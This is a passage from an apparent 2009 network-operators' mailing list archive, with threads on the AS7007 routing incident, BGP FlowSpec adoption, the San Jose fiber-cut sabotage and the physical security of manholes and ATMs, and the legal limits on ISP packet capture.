for instance, 96.0.0.0 was a /8, not a /24. It also means He then re-redistributed RIP into BGP on a third card, which then originated each route from as7007. I have it on most excellent authority (the "Fat man" himself) that this was not possible on ciscos. Wonder if it is now ... ? Anyway, I did not know people were calling this the "MAE-Clueless" incident. I've always called it the "7007 incident". In fact, some people still have as7007 filtered. > iirc, part of the chaos than ensued was due to a router bug, so that > the routes "stuck around" in global views, even after the AS killed > their announcements, and even after physically disconnecting from > their provider. That was Sprint, as7007's transit provider. Sprint only did AS Path filtering, and as every single prefix was ^7007$, they all passed the filter. Vinny literally unplugged the router, no power, no fiber, no copper, but the prefixes were still bouncing around the 'Net for hours. Sprint kept the routes around for a long time as their routers would not honor withdrawals - or so the rumors said. The rumors also claimed the IOS version was named "$FOO-sean". Sean Doran was CTO of Sprint's Internet company at the time, and he supposedly specifically asked for the 'feature' of ignoring withdrawals to lower CPU on their AGS+s. I have absolutely no way of confirming this as I haven't spoken to Sean in years & years, and wouldn't even know where to find him any more. The most interesting rumor I heard is that Sprint had to shut down every single router simultaneously to clear the routes out of their network. Personally I think that's probably a bit exaggerated, but who knows? > We told our customers "the Internet is broken, please try again > later"...which was acceptable back then. (But I doubt we would get > away with just that nowadays... ;-) ) Really? That's what some broadband providers say nearly daily. -- TTFN, patrick From sethm at rollernet.us Fri Apr 10 15:23:18 2009 From: sethm at rollernet.us (Seth Mattinen) Date: Fri, 10 Apr 2009 13:23:18 -0700 Subject: BGP FlowSpec support on provider networks In-Reply-To: References: <20090409174945.GA3388@isc.org><1b5c1c150904091111i62c42814h2d6cfc6ffee8ea82@mail.gmail.com><20090409185510.GP39240@neu.cow.org> <49DE719A.1020106@sonic.net><200904100050.n3A0onlH007803@kw.retro.com> <49DFA0D0.4030302@sonic.net> Message-ID: <49DFAAB6.6090708@rollernet.us> Fouant, Stefan wrote: > Hi folks, > > I am trying to compile data on which providers are currently supporting > BGP Flowspec at their edge, if there are any at all. The few providers > I've reached out to have indicated they do not support this and have no > intention of supporting this any time in the near future. I'm also > curious why something so useful as to have the ability to advertise flow > specification information in NLRI and distribute filtering information > is taking so long to gain a foothold in the industry... > Just FYI, but when you hit reply and change the subject, your message still shows up under the "Fiber cut in SF area" thread. Anyone who's ignoring that thread will not see your message. ~Seth From Stefan.Fouant at neustar.biz Fri Apr 10 15:27:25 2009 From: Stefan.Fouant at neustar.biz (Fouant, Stefan) Date: Fri, 10 Apr 2009 16:27:25 -0400 Subject: BGP FlowSpec support on provider networks Message-ID: Hi folks, I am trying to compile data on which providers are currently supporting BGP Flowspec at their edge, if there are any at all. The few providers I've reached out to have indicated they do not support this and have no intention of supporting this any time in the near future. I'm also curious why something so useful as to have the ability to advertise flow specification information in NLRI and distribute filtering information is taking so long to gain a foothold in the industry... Sorry for the repost but wanted to make sure this got it's own thread. Thanks, Stefan Fouant: NeuStar, Inc. Principal Network Engineer 46000 Center Oak Plaza Sterling, VA 20166 [ T ] +1 571 434 5656 [ M ] +1 202 210 2075 [ E ] stefan.fouant at neustar.biz [ W ] www.neustar.biz From charles at thewybles.com Fri Apr 10 15:35:12 2009 From: charles at thewybles.com (Charles Wyble) Date: Fri, 10 Apr 2009 13:35:12 -0700 Subject: BGP FlowSpec support on provider networks In-Reply-To: References: <20090409174945.GA3388@isc.org><1b5c1c150904091111i62c42814h2d6cfc6ffee8ea82@mail.gmail.com><20090409185510.GP39240@neu.cow.org> <49DE719A.1020106@sonic.net><200904100050.n3A0onlH007803@kw.retro.com> <49DFA0D0.4030302@sonic.net> Message-ID: <49DFAD80.5000600@thewybles.com> Fouant, Stefan wrote: > Hi folks, > > I am trying to compile data on which providers are currently supporting > BGP Flowspec at their edge, if there are any at all. The few providers > I've reached out to have indicated they do not support this and have no > intention of supporting this any time in the near future. I'm also > curious why something so useful as to have the ability to advertise flow > specification information in NLRI and distribute filtering information > is taking so long to gain a foothold in the industry... See ipv6 :) From john at sackheads.org Fri Apr 10 17:38:31 2009 From: john at sackheads.org (John Payne) Date: Fri, 10 Apr 2009 18:38:31 -0400 Subject: BGP FlowSpec support on provider networks In-Reply-To: References: Message-ID: <47BEB524-51BC-4B4D-A7FB-4EFFA7CF633E@sackheads.org> On Apr 10, 2009, at 4:27 PM, "Fouant, Stefan" wrote: > Hi folks, > > I am trying to compile data on which providers are currently > supporting > BGP Flowspec at their edge, if there are any at all. The few > providers > I've reached out to have indicated they do not support this and have > no > intention of supporting this any time in the near future. I'm also > curious why something so useful as to have the ability to advertise > flow > specification information in NLRI and distribute filtering information > is taking so long to gain a foothold in the industry... Can you name 3 major vendors who support it? I suspect more providers would offer it if there was vendor support. Last I checked, at least one vendor was fighting mad over the thought of supporting it. From jay at west.net Fri Apr 10 17:52:19 2009 From: jay at west.net (Jay Hennigan) Date: Fri, 10 Apr 2009 15:52:19 -0700 Subject: Outside plant protection, fiber cuts, interwebz down oh noes! In-Reply-To: <6C495B50-9E05-4401-8170-A36E64850475@delong.com> References: <859604546CD1FF488BDB6EA94C896AFB776105@racexchange.race.local> <6C495B50-9E05-4401-8170-A36E64850475@delong.com> Message-ID: <49DFCDA3.6050908@west.net> On Apr 10, 2009, at 12:05 PM, Carlos Alcantar wrote: > Your right about having the right tools whats a manhole hook cost $50 Less than half that. http://www.toolup.com/condux/08023000.html -- Jay Hennigan - CCIE #7880 - Network Engineering - jay at impulse.net Impulse Internet Service - http://www.impulse.net/ Your local telephone and internet company - 805 884-6323 - WB6RDV From jgreco at ns.sol.net Fri Apr 10 18:06:16 2009 From: jgreco at ns.sol.net (Joe Greco) Date: Fri, 10 Apr 2009 18:06:16 -0500 (CDT) Subject: Outside plant protection, fiber cuts, interwebz down oh noes! In-Reply-To: <49DFCDA3.6050908@west.net> from "Jay Hennigan" at Apr 10, 2009 03:52:19 PM Message-ID: <200904102306.n3AN6GI3040858@aurora.sol.net> > On Apr 10, 2009, at 12:05 PM, Carlos Alcantar wrote: > > > Your right about having the right tools whats a manhole hook cost $50 > > Less than half that. http://www.toolup.com/condux/08023000.html And maybe even less than half *that*. You don't actually need the tool in many cases. A good bit of rebar (trivially found at many construction sites), a prybar, a heavy screwdriver, threaded rod, the trick is just to get the thing out of its rim. Specialized tools are for those who are doing it every day. I suspect that the person responsible did not go out and buy a hook, so this may be pointless anyways. :-) ... JG -- Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net "We call it the 'one bite at the apple' rule. Give me one chance [and] then I won't contact you again." - Direct Marketing Ass'n position on e-mail spam(CNN) With 24 million small businesses in the US alone, that's way too many apples. From mcdonald.richards at gmail.com Fri Apr 10 20:31:52 2009 From: mcdonald.richards at gmail.com (McDonald Richards) Date: Sat, 11 Apr 2009 11:31:52 +1000 Subject: BGP FlowSpec support on provider networks In-Reply-To: References: <20090409174945.GA3388@isc.org> <1b5c1c150904091111i62c42814h2d6cfc6ffee8ea82@mail.gmail.com> <20090409185510.GP39240@neu.cow.org> <49DE719A.1020106@sonic.net> <200904100050.n3A0onlH007803@kw.retro.com> <49DFA0D0.4030302@sonic.net> Message-ID: <8bde567b0904101831m7a766d6cgf1943d66ac276011@mail.gmail.com> In my experience it's vendor support that is lacking, not provider support.... On Sat, Apr 11, 2009 at 6:08 AM, Fouant, Stefan wrote: > Hi folks, > > I am trying to compile data on which providers are currently supporting > BGP Flowspec at their edge, if there are any at all. The few providers > I've reached out to have indicated they do not support this and have no > intention of supporting this any time in the near future. I'm also > curious why something so useful as to have the ability to advertise flow > specification information in NLRI and distribute filtering information > is taking so long to gain a foothold in the industry... > > Stefan Fouant: NeuStar, Inc. > Principal Network Engineer > 46000 Center Oak Plaza Sterling, VA 20166 > [ T ] +1 571 434 5656 [ M ] +1 202 210 2075 > [ E ] stefan.fouant at neustar.biz [ W ] www.neustar.biz > > From ras at e-gerbil.net Fri Apr 10 22:50:29 2009 From: ras at e-gerbil.net (Richard A Steenbergen) Date: Fri, 10 Apr 2009 22:50:29 -0500 Subject: BGP FlowSpec support on provider networks Message-ID: <20090411035029.GF51443@gerbil.cluepon.net> > I am trying to compile data on which providers are currently > supporting BGP Flowspec at their edge, if there are any at all. The > few providers I've reached out to have indicated they do not support > this and have no intention of supporting this any time in the near > future. I'm also curious why something so useful as to have the > ability to advertise flow specification information in NLRI and > distribute filtering information is taking so long to gain a foothold > in the industry... nLayer has offered flowspec support to customers for many years now. It's really quite simple to use and support too, if you happen to have a largely Juniper based network that is. I'm not aware of any other router vendor who currently supports it, but the loss is entirely theirs. We do have a fair bit of Crisco in the network, with Juniper primarily in the core and peering/transit edge, so we use a route-server to feed the flowspec routes into the Juniper core. Customers set up an ebgp multihop session with it, and can announce flowspec routes (or standard blackhole via bgp communities) for anything in their register prefix-list. It's also quite handy for distributing internal use packet filters too. As for why something so (insanely) useful is slow to be adopted... There are a few reasons, but mostly: 1) A healthy dose of inter-vendor politics. 2) A silly religious belief that bgp shouldn't be used to carry firewall information, and that some other protocol should be invented instead. I think the counter-argument to that is the ability to do inter-provider filtering is precisely why it should be done via bgp. and the success of the current implementation proves how well it works. 3) Another large network who shall remain nameless once used a third party flowspec speaking piece of software which shall also remain nameless, and managed to blackhole their entire network for a noticeable amount of time. As with anything combining the words "network wide protocol" and "packet filter", a healthy amount of user discretion is advised. -- Richard A Steenbergen http://www.e-gerbil.net/ras GPG Key ID: 0xF8B12CBC (7535 7F59 8204 ED1F CC1C 53AF 4C41 5ECA F8B1 2CBC) From morrowc.lists at gmail.com Fri Apr 10 23:54:05 2009 From: morrowc.lists at gmail.com (Christopher Morrow) Date: Sat, 11 Apr 2009 00:54:05 -0400 Subject: BGP FlowSpec support on provider networks In-Reply-To: <47BEB524-51BC-4B4D-A7FB-4EFFA7CF633E@sackheads.org> References: <47BEB524-51BC-4B4D-A7FB-4EFFA7CF633E@sackheads.org> Message-ID: <75cb24520904102154j6143854ej59d52574cb97b5b@mail.gmail.com> On Fri, Apr 10, 2009 at 6:38 PM, John Payne wrote: > > > On Apr 10, 2009, at 4:27 PM, "Fouant, Stefan" > wrote: > >> Hi folks, >> >> I am trying to compile data on which providers are currently supporting >> BGP Flowspec at their edge, if there are any at all. ?The few providers >> I've reached out to have indicated they do not support this and have no >> intention of supporting this any time in the near future. ?I'm also >> curious why something so useful as to have the ability to advertise flow >> specification information in NLRI and distribute filtering information >> is taking so long to gain a foothold in the industry... > > Can you name 3 major vendors who support it? ?I suspect more providers would juniper... and when they dropped the IPR stuff other vendors basically walked away :( > offer it if there was vendor support. > Last I checked, at least one vendor was fighting mad over the thought of > supporting it. yes :( weee! poilitics! > > From jbfixurpc at gmail.com Sat Apr 11 00:29:30 2009 From: jbfixurpc at gmail.com (=?iso-8859-1?B?Sm+i?=) Date: Sat, 11 Apr 2009 01:29:30 -0400 Subject: Fiber cut in SF area In-Reply-To: Message-ID: <00c701c9ba66$7f5a1390$0101a8c0@E520> I'm confussed, but please pardon the ignorance. All the data centers we have are at minimum keys to access data areas. Not that every area of fiber should have such, but at least should they? Manhole covers "can" be keyed. For those of you arguing that this is not enough, I would say at least it?s a start. Yes if enough time goes by anything can happen, but how can one argue an ATM machince that has (at times) thousands of dollars stands out 24/7 without more immediate wealth. Perhaps I am missing something here, do the Cops stake out those areas? dunno Just my 2? From robertg at garlic.com Sat Apr 11 01:48:24 2009 From: robertg at garlic.com (Robert Glover) Date: Sat, 11 Apr 2009 06:48:24 +0000 Subject: Outside plant protection, fiber cuts, interwebz down oh noes! Message-ID: <1034090089-1239432510-cardhu_decombobulator_blackberry.rim.net-1242028331-@bxe1286.bisx.prod.on.blackberry> *SNIP* located ten feet down a manhole on Monterey Highway, north of Blossom Hill Road in San Jose. Authorities also found two other locations where fiber optic cables were similarly cut -- near Hayes Avenue and Cottle Road in San Jose *SNIP* Just for clarification, these locations are one in the same. And as an update, the splicing operations are done at this location. (I live 3 blocks away The multitudes of crews that were at the site were gone when I drove by at 3:30PM PST today. The splice trailers were still there around 9:30AM PST working on cable. Bobby Glover Director of Information Services South Valley Internet (AS4307) From joelja at bogus.com Sat Apr 11 01:49:45 2009 From: joelja at bogus.com (Joel Jaeggli) Date: Fri, 10 Apr 2009 23:49:45 -0700 Subject: Fiber cut in SF area In-Reply-To: <00c701c9ba66$7f5a1390$0101a8c0@E520> References: <00c701c9ba66$7f5a1390$0101a8c0@E520> Message-ID: <49E03D89.5030703@bogus.com> Jo? wrote: > > I'm confussed, but please pardon the ignorance. > All the data centers we have are at minimum keys to access > data areas. Not that every area of fiber should have such, but > at least should they? Manhole covers "can" be keyed. For those of > you arguing that this is not enough, I would say at least it?s a start. > Yes if enough time goes by anything can happen, but how can one > argue an ATM machince that has (at times) thousands of dollars stands > out 24/7 without more immediate wealth. Perhaps I am missing > something here, do the Cops stake out those areas? dunno The nice thing about the outdoors is how much of it there is. > Just my 2? > > > > > > > From jgreco at ns.sol.net Sat Apr 11 07:31:55 2009 From: jgreco at ns.sol.net (Joe Greco) Date: Sat, 11 Apr 2009 07:31:55 -0500 (CDT) Subject: Fiber cut in SF area In-Reply-To: <49E03D89.5030703@bogus.com> from "Joel Jaeggli" at Apr 10, 2009 11:49:45 PM Message-ID: <200904111231.n3BCVtPD020297@aurora.sol.net> > Jo?? wrote: > > I'm confussed, but please pardon the ignorance. > > All the data centers we have are at minimum keys to access > > data areas. Not that every area of fiber should have such, but > > at least should they? Manhole covers "can" be keyed. For those of > > you arguing that this is not enough, I would say at least it???s a start. > > Yes if enough time goes by anything can happen, but how can one > > argue an ATM machince that has (at times) thousands of dollars stands > > out 24/7 without more immediate wealth. Perhaps I am missing > > something here, do the Cops stake out those areas? dunno > > The nice thing about the outdoors is how much of it there is. Cute, but a lot of people seem to be wondering this, so a better answer is deserved. The ATM machine is somewhat protected for the extremely obvious reason that it has cash in it, but an ATM is hardly impervious. http://www.youtube.com/watch?v=4P8WM8ZZDHk There are all sorts of strategies for attacking ATM's, and being susceptible to a sledgehammer, crowbar, or truck smashing into the unit shouldn't be hard to understand. Most data centers have security that is designed to keep honest people out of places that they shouldn't be. Think that "security guard" at the front will stop someone from running off with something valuable? Maybe. Have you considered following the emergency fire exits instead? Running out the loading dock? Etc? Physical security is extremely difficult, and defending against a determined, knowledgeable, and appropriately resourced attacker out to get *you* is a losing battle, every time. Think about a door. You can close your bathroom door and set the privacy lock, but any adult with a solid shoulder can break that door, or with a pin (or flathead or whatever your particular knob uses) can stick it in and trigger the unlock. Your front door is more solid, but if it's wood, and not reinforced, I'll give my steel-toed boots better than even odds against it. What? You have a commercial hollow steel door? Ok, that beats all of that, let me go get my big crowbar, a little bending will let me win. Something more solid? Ram it with a truck. You got a freakin' bank vault door? Explosives, torches, etc. Fort Knox? Bring a large enough army, you'll still get in. Notice a pattern? For any given level of protection, countermeasures are available. Your house is best "secured" by making changes that make it appear ordinary and non-attractive. That means that a burglar is going to look at your house, say "nah," and move on to your neighbor's house, where your neighbor left the garage open. But if I were a burglar and I really wanted in your house? There's not that much you could really do to stop me. It's just a matter of how well prepared I am, how well I plan. So. Now. Fiber. Here's the thing, now. First off, there usually isn't a financial motivation to attack fiber optic infrastructure. ATM's get some protection because without locks, criminals would just open them and take the cash. Having locks doesn't stop that, it just makes it harder. However, the financial incentive for attacking a fiber line is low. Glass is cheap. We see attacks against copper because copper is valuable, and yet we cannot realistically guard the zillions of miles of copper that is all around. Next. Repair crews need to be able to access the manholes. This is a multifaceted problem. First off, since there are so many manholes to protect, and there are so many crews who might potentially need to access them, you're probably stuck with a "standardized key" approach if you want to lock them. While this offers some protection against the average person gaining unauthorized access, it does nothing to prevent "inside job" attacks (and I'll note that this looks suspiciously like an "inside job" of some sort). Further, any locking mechanism can make it more difficult to gain access when you really need access; some manholes are not opened for years or even decades at a time. What happens when the locks are rusted shut? Is the mechanism weak enough that it can be forced open, or is it tolerable to have to wait extra hours while a crew finds a way to open it? Speaking of that, a manhole cover is typically protecting some hole, accessway, or vault that's made out of concrete. Are you going to protect the concrete too? If not, what prevents me from simply breaking away the concrete around the manhole cover rim (admittedly a lot of work) and just discarding the whole thing? Wait. I just want to *break* the cable? Screw all that. Get me a backhoe. I'll just eyeball the direction I think the cable's going, and start digging until I snag something. Start to see the problems? I'm not saying that security is a bad thing, just a tricky thing. ... JG -- Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net "We call it the 'one bite at the apple' rule. Give me one chance [and] then I won't contact you again." - Direct Marketing Ass'n position on e-mail spam(CNN) With 24 million small businesses in the US alone, that's way too many apples. From jared at puck.nether.net Sat Apr 11 07:52:19 2009 From: jared at puck.nether.net (Jared Mauch) Date: Sat, 11 Apr 2009 08:52:19 -0400 Subject: BGP FlowSpec support on provider networks In-Reply-To: <75cb24520904102154j6143854ej59d52574cb97b5b@mail.gmail.com> References: <47BEB524-51BC-4B4D-A7FB-4EFFA7CF633E@sackheads.org> <75cb24520904102154j6143854ej59d52574cb97b5b@mail.gmail.com> Message-ID: <2C9BF127-F75E-40D1-9A8B-1C4AE5A3084C@puck.nether.net> On Apr 11, 2009, at 12:54 AM, Christopher Morrow wrote: > On Fri, Apr 10, 2009 at 6:38 PM, John Payne > wrote: >> >> >> On Apr 10, 2009, at 4:27 PM, "Fouant, Stefan" > > >> wrote: >> >>> Hi folks, >>> >>> I am trying to compile data on which providers are currently >>> supporting >>> BGP Flowspec at their edge, if there are any at all. The few >>> providers >>> I've reached out to have indicated they do not support this and >>> have no >>> intention of supporting this any time in the near future. I'm also >>> curious why something so useful as to have the ability to >>> advertise flow >>> specification information in NLRI and distribute filtering >>> information >>> is taking so long to gain a foothold in the industry... >> >> Can you name 3 major vendors who support it? I suspect more >> providers would > > juniper... and when they dropped the IPR stuff other vendors basically > walked away :( Causing consultations with lawyers by others involved with the draft. Life is interesting. IPR, Politics and techie communication skills. The path to failure. - Jared From cmadams at hiwaay.net Sat Apr 11 09:54:45 2009 From: cmadams at hiwaay.net (Chris Adams) Date: Sat, 11 Apr 2009 09:54:45 -0500 Subject: Fiber cut in SF area In-Reply-To: <00c701c9ba66$7f5a1390$0101a8c0@E520> References: <00c701c9ba66$7f5a1390$0101a8c0@E520> Message-ID: <20090411145445.GA620556@hiwaay.net> Once upon a time, Jo? said: > Yes if enough time goes by anything can happen, but how can one > argue an ATM machince that has (at times) thousands of dollars stands > out 24/7 without more immediate wealth. Perhaps I am missing > something here, do the Cops stake out those areas? dunno We've had several occasions here where somebody has stolen a backhoe or front-end loader from a construction site, driven to the nearest ATM, and loaded the whole ATM into a (usually stolen) truck. Also, what is the density of outdoor ATMs? I'm in a suburban area, and there may be one every mile or two. How large is the fiber plant? Miles and miles of continuous fiber, every inch of which is equally important. A lot of it here is even on poles, not buried. -- Chris Adams Systems and Network Administrator - HiWAAY Internet Services I don't speak for anybody but myself - that's enough trouble. From fw at deneb.enyo.de Sat Apr 11 10:10:39 2009 From: fw at deneb.enyo.de (Florian Weimer) Date: Sat, 11 Apr 2009 17:10:39 +0200 Subject: Fiber cut in SF area In-Reply-To: <200904111231.n3BCVtPD020297@aurora.sol.net> (Joe Greco's message of "Sat, 11 Apr 2009 07:31:55 -0500 (CDT)") References: <200904111231.n3BCVtPD020297@aurora.sol.net> Message-ID: <8763hbcjkg.fsf@mid.deneb.enyo.de> * Joe Greco: > The ATM machine is somewhat protected for the extremely obvious reason > that it has cash in it, but an ATM is hardly impervious. > > http://www.youtube.com/watch?v=4P8WM8ZZDHk Heh. Once you install ATMs into solid walls, the attacks get a tad more interesting. In some places of the world, gas detectors are almost mandatory because criminals pump gas into the machine, ignite it, and hope that the explosion blows a hole into the machine without damaging the money (which seems to work fairly well if you use the right gas at the right concentration). From morrowc.lists at gmail.com Sat Apr 11 10:54:40 2009 From: morrowc.lists at gmail.com (Christopher Morrow) Date: Sat, 11 Apr 2009 11:54:40 -0400 Subject: Fiber cut in SF area In-Reply-To: <8763hbcjkg.fsf@mid.deneb.enyo.de> References: <200904111231.n3BCVtPD020297@aurora.sol.net> <8763hbcjkg.fsf@mid.deneb.enyo.de> Message-ID: <75cb24520904110854n35686d6dr779683c0a6e2c833@mail.gmail.com> On Sat, Apr 11, 2009 at 11:10 AM, Florian Weimer wrote: > * Joe Greco: > >> The ATM machine is somewhat protected for the extremely obvious reason >> that it has cash in it, but an ATM is hardly impervious. >> >> http://www.youtube.com/watch?v=4P8WM8ZZDHk > > Heh. ?Once you install ATMs into solid walls, the attacks get a tad > more interesting. ?In some places of the world, gas detectors are > almost mandatory because criminals pump gas into the machine, ignite > it, and hope that the explosion blows a hole into the machine without > damaging the money (which seems to work fairly well if you use the > right gas at the right concentration). also, there is the fact that some very large percentage of ATM machines were installed with the same admin passwd setup. I recall ~1.5 yrs ago some news about this, and that essentially banks send out the ATM machines with a stock passwd (sometimes the default which is documented in easily google-able documents) per bank (BoFA uses passwd123, Citi uses passwd456 ....) I'm not sure that the manholes == atm discussion is valid, but in the end the same thing is prone to happen to the manholes, there isn't going to be a unique key per manhole, at best it'll be 1/region or 1/manhole-owner. In the end that key is compromised as soon as the decision is made :( Also keep in mind that keyed locks don't really provide much protection, since anyone can order lockpicks over the interwebs these days, even to states where ownership is apparently illegal :( -Chris From jmamodio at gmail.com Sat Apr 11 11:13:56 2009 From: jmamodio at gmail.com (Jorge Amodio) Date: Sat, 11 Apr 2009 11:13:56 -0500 Subject: Fiber cut in SF area In-Reply-To: <75cb24520904110854n35686d6dr779683c0a6e2c833@mail.gmail.com> References: <200904111231.n3BCVtPD020297@aurora.sol.net> <8763hbcjkg.fsf@mid.deneb.enyo.de> <75cb24520904110854n35686d6dr779683c0a6e2c833@mail.gmail.com> Message-ID: <202705b0904110913q77b10405sb7e4d98a502171f0@mail.gmail.com> The best protecion is good engineering taking advantage of technologies and architecures available since long time ago at any of the different network layers. Why network operators/carriers don't do it ?, it's another issue and most of the time is a question of bottom line numbers for which there are no engineering solutions. My .02 From smb at cs.columbia.edu Sat Apr 11 11:14:47 2009 From: smb at cs.columbia.edu (Steven M. Bellovin) Date: Sat, 11 Apr 2009 12:14:47 -0400 Subject: SIP - perhaps botnet? anyone else seeing this? In-Reply-To: References: <595F2EEE-114E-4C2A-B04C-B57E7F19F5B0@cisco.com> Message-ID: <20090411121447.574ef648@cs.columbia.edu> On Fri, 10 Apr 2009 10:20:35 +0000 (GMT) "Leland E. Vandervort" wrote: > > > > On Fri, 10 Apr 2009, Roland Dobbins wrote: > > > > > IANAL, but I suggest you check again with your legal department - I > > doubt this is actually the case (your jurisdiction may vary, but in > > most Western nations, you can grab packets for diagnostic/ > > troubleshooting/forensics purposes). > > Already did check... we can't grab packets except in response to > judicial order or specific abuse case with a valid ID of the > end-user, or of course for general technical diagnostics -- if for > diagnostics, we cannot use such collected data in the context of only > a suspicion of abuse at all as it would constitute an infringement on > the individual's privacy. So in short, we can do it REACTIVELY in > response to a complaint.. but if we do it PROACTIVELY, then it cannot > be used and is of "educational" value only (with caveats surrounding > confidentiality, non-disclosure, and destruction,, etc.) > You can if it the volume is interfering with your own service, I believe (though IANAL, either) -- see this text from http://www4.law.cornell.edu/uscode/18/2511.html It shall not be unlawful under this chapter for an operator of a switchboard, or an officer, employee, or agent of a provider of wire or electronic communication service, whose facilities are used in the transmission of a wire or electronic communication, to intercept, disclose, or use that communication in the normal course of his employment while engaged in any activity which is a necessary incident to the rendition of his service or to the protection of the rights or property of the provider of that service, except that a provider of wire communication service to the public shall not utilize service observing or random monitoring except for mechanical or service quality control checks. Note carefully that the second part applies to a "provider of wire communication service", which is a phone company, not an ISP -- ISPs are providers of "electronic communication service". (Just to make life fun -- if you're a VoIP *provider*, you probably fall under both sections, but if you're just carrying VoIP traffic I don't think you are). --Steve Bellovin, http://www.cs.columbia.edu/~smb From lowen at pari.edu Sat Apr 11 11:50:55 2009 From: lowen at pari.edu (Lamar Owen) Date: Sat, 11 Apr 2009 12:50:55 -0400 Subject: [OT] Re: Fiber cut in SF area In-Reply-To: <200904111231.n3BCVtPD020297@aurora.sol.net> References: <200904111231.n3BCVtPD020297@aurora.sol.net> Message-ID: <200904111250.55796.lowen@pari.edu> On Saturday 11 April 2009 08:31:55 Joe Greco wrote: > Speaking of that, a manhole cover is > typically protecting some hole, accessway, or vault that's made out of > concrete. An oxyacetylene torch or a plasma cutter will slice through regular steel manhole covers in minutes. You can cut the concrete, too, for that matter, with oxyacetylene, as long as you wear certain protective gear. We have a few vault covers here that are concrete covering the largest vaults we have. You need more than a manhole hook to get one of those covers up. The locking covers I have seen here put the lock(s) on the inside cover cam jackscrew (holes through the jackscrew close to the inside cover seal rod nut), rather than on the outside cover, thus keeping the padlocks out of the weather. One way of making a site more resistant to 'inside job' issues is with SCIF- like controls (see http://en.wikipedia.org/wiki/Sensitive_Compartmented_Information_Facility ) and using combination locks such as the Sargent and Greenleaf 8077AD for control, and the S&G 833 superpadlock for security (see http://www.sargentandgreenleaf.com/PL-833.php ). The tech would have the 833's key, and the area supervisor the combination. The 8077AD's combination is very easily changed in the field, and could be changed frequently. The key to this method's success is that the keyholder to the 833 cannot have the combination, and the holder of the combination cannot have an 833 key. Requires a certain atmosphere of distrust, unfortunately. And slows repairs way down, especially if the 833's key is lost.... From brandon at rd.bbc.co.uk Sat Apr 11 12:11:53 2009 From: brandon at rd.bbc.co.uk (Brandon Butterworth) Date: Sat, 11 Apr 2009 18:11:53 +0100 (BST) Subject: [OT] Re: Fiber cut in SF area Message-ID: <200904111711.SAA08224@sunf10.rd.bbc.co.uk> > You can cut the concrete, too, for that matter, with oxyacetylene, as long as > you wear certain protective gear. We have a few vault covers here that are > concrete covering the largest vaults we have. You need more than a manhole > hook to get one of those covers up. And when you think you have it safely burried someone drives a tunnel boring machine through it - http://www.flickr.com/photos/23919135 at N00/3426407496/ brandon From marquis at roble.com Sat Apr 11 12:50:20 2009 From: marquis at roble.com (Roger Marquis) Date: Sat, 11 Apr 2009 10:50:20 -0700 (PDT) Subject: Fiber cut in SF area In-Reply-To: References: Message-ID: <20090411175020.1D0532B21F9@mx5.roble.com> Jo? wrote: > I'm confussed, but please pardon the ignorance. > All the data centers we have are at minimum keys to access > data areas. Not that every area of fiber should have such, but > at least should they? Manhole covers "can" be keyed. For those of > you arguing that this is not enough, I would say at least it?s a start. That is an option, but it doesn't address the real problem. The real problem is route redundancy. This is what the original contract from DARPA to BBM, to create the Internet, was about! "The net" was created to enable communications bttn point A and point B in this exact scenario. No one should be surprised that ATT would cut-corners on critical infrastructure. The good news is that this incident will likely result in increased Federal scrutiny if not regulation. We know how spectacularly energy and banking deregulation failed. Is that mistake being repeated with telecommunications? The bad news is that some of the $16M/yr ATT spends lobbying Congress (for things like fighting number portability and getting a free pass on illegal domestic surveillance) will likely be redirected to ask for money to "fix" the problem they created. This assumes ATT is as badly managed, and the US FCC and DHS are better managed, than has been the case for the last 8 years. Time will tell. For a good "man in the street" perspective of how the outage effected things like a pharmacy's ability to fill subscriptions and a university computer's ability to boot check out a couple of shows broadcast on KUSP (Santa Cruz Public Radio) this morning: http://www.jivamedia.com/askdrdawn/askdrdawn.php http://geekspeak.org/ Roger Marquis From jmamodio at gmail.com Sat Apr 11 13:30:54 2009 From: jmamodio at gmail.com (Jorge Amodio) Date: Sat, 11 Apr 2009 13:30:54 -0500 Subject: Fiber cut in SF area In-Reply-To: <20090411175020.1D0532B21F9@mx5.roble.com> References: <20090411175020.1D0532B21F9@mx5.roble.com> Message-ID: <202705b0904111130x672b2e37l258f9a133827aa53@mail.gmail.com> > The real problem is route redundancy. ?This is what the original contract > from DARPA to BBM, to create the Internet, was about! s/DARPA/ARPA/; s/BBM/BBN/; s/Internet/ARPAnet/. BBN won the contract to build the first four IMPs. Theory and research about it is older, look at: http://www.lk.cs.ucla.edu/LK/Bib/REPORT/PhD/proposal-01.html But you are right, redundancy is the issue, cost is the factor. Jorge. From jgreco at ns.sol.net Sat Apr 11 13:43:23 2009 From: jgreco at ns.sol.net (Joe Greco) Date: Sat, 11 Apr 2009 13:43:23 -0500 (CDT) Subject: [OT] Re: Fiber cut in SF area In-Reply-To: <200904111250.55796.lowen@pari.edu> from "Lamar Owen" at Apr 11, 2009 12:50:55 PM Message-ID: <200904111843.n3BIhNfR035662@aurora.sol.net> > On Saturday 11 April 2009 08:31:55 Joe Greco wrote: > > Speaking of that, a manhole cover is > > typically protecting some hole, accessway, or vault that's made out of > > concrete. > > An oxyacetylene torch or a plasma cutter will slice through regular steel > manhole covers in minutes. Yes, but we were discussing locked covers, which (given the underlying assumptions of this discussion) might be a bit heavier. Further, it would be vaguely suspicious and more noticeable for a "road crew" or "power company" truck to be deploying such gear, might draw more attention. > The locking covers I have seen here put the lock(s) on the inside cover cam > jackscrew (holes through the jackscrew close to the inside cover seal rod > nut), rather than on the outside cover, thus keeping the padlocks out of the > weather. More expense. :-) > One way of making a site more resistant to 'inside job' issues is with SCIF- > like controls (see > http://en.wikipedia.org/wiki/Sensitive_Compartmented_Information_Facility ) > and using combination locks such as the Sargent and Greenleaf 8077AD for > control, and the S&G 833 superpadlock for security (see > http://www.sargentandgreenleaf.com/PL-833.php ). The tech would have the > 833's key, and the area supervisor the combination. The 8077AD's combination > is very easily changed in the field, and could be changed frequently. The key > to this method's success is that the keyholder to the 833 cannot have the > combination, and the holder of the combination cannot have an 833 key. > Requires a certain atmosphere of distrust, unfortunately. And slows repairs > way down, especially if the 833's key is lost.... Certainly it is *possible* to do it, but given the other variables, does it make *sense*? Consider what I was saying about just going to town with a backhoe. You have a lot to protect. ... JG -- Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net "We call it the 'one bite at the apple' rule. Give me one chance [and] then I won't contact you again." - Direct Marketing Ass'n position on e-mail spam(CNN) With 24 million small businesses in the US alone, that's way too many apples. From Stefan.Fouant at neustar.biz Sat Apr 11 14:56:27 2009 From: Stefan.Fouant at neustar.biz (Fouant, 